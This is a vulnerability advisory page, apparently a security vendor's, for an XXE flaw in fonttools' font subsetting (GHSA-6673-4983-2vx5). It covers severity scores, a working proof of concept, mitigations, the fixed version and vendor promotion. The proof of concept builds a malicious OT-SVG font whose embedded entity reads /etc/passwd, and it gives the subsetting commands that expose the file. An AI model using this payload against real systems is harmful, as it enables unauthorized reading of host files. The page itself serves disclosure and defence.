GHSA-6673-4983-2vx5 is a high-severity (CVSS 7.5) XML External Entity (XXE) vulnerability in fonttools. 1 public exploit reference exists, so weaponization risk is real. A fix is available for fonttools — see the affected versions and patch details below.
fonttools XML External Entity Injection (XXE) Vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6673-4983-2vx5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6673-4983-2vx5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
fonttoolsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
As of fonttools>=4.28.2 the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed.
This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system.
PoC
The vulnerability can be reproduced following the bellow steps on a unix based system.
- Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised
/etc/passwdfor our POC file to include and modified an existing subset integration test to build the POC font - see bellow.
from string import ascii_letters
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
from fontTools.ttLib import newTable
XXE_SVG = """\
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<g id="glyph1">
<text font-size="10" x="0" y="10">&test;</text>
</g>
</svg>
"""
def main():
# generate a random TTF font with an SVG table
glyph_order = [".notdef"] + list(ascii_letters)
pen = TTGlyphPen(glyphSet=None)
pen.moveTo((0, 0))
pen.lineTo((0, 500))
pen.lineTo((500, 500))
pen.lineTo((500, 0))
pen.closePath()
glyph = pen.glyph()
glyphs = {g: glyph for g in glyph_order}
fb = FontBuilder(unitsPerEm=1024, isTTF=True)
fb.setupGlyphOrder(glyph_order)
fb.setupCharacterMap({ord(c): c for c in ascii_letters})
fb.setupGlyf(glyphs)
fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order})
fb.setupHorizontalHeader()
fb.setupOS2()
fb.setupPost()
fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"})
svg_table = newTable("SVG ")
svg_table.docList = [
(XXE_SVG, 1, 12)
]
fb.font["SVG "] = svg_table
fb.font.save('poc-payload.ttf')
if __name__ == '__main__':
main()
- Subset the font with an affected version of fontTools - we tested on
fonttools==4.42.1andfonttools==4.28.2- using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process):
pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs
- Read the parsed SVG table in the subsetted font:
ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx
Observed the included contents of the /etc/passwd file.
Impact
Note the final severity is dependant on the environment fontTools is running in.
- The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on
Possible Mitigations
There may be other ways to mitigate the issue, but some suggestions:
- Set the
resolve_entities=Falseflag on parsing methods - Consider further methods of disallowing doctype declarations
- Consider recursive regex matching
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fonttools | ≥ 4.28.2&&< 4.43.0 | 4.43.0pip install --upgrade 'fonttools==4.43.0' |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fonttools, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fonttools to 4.43.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6673-4983-2vx5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-6673-4983-2vx5 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-6673-4983-2vx5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is GHSA-6673-4983-2vx5 in your dependencies?
O3 Security finds GHSA-6673-4983-2vx5 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.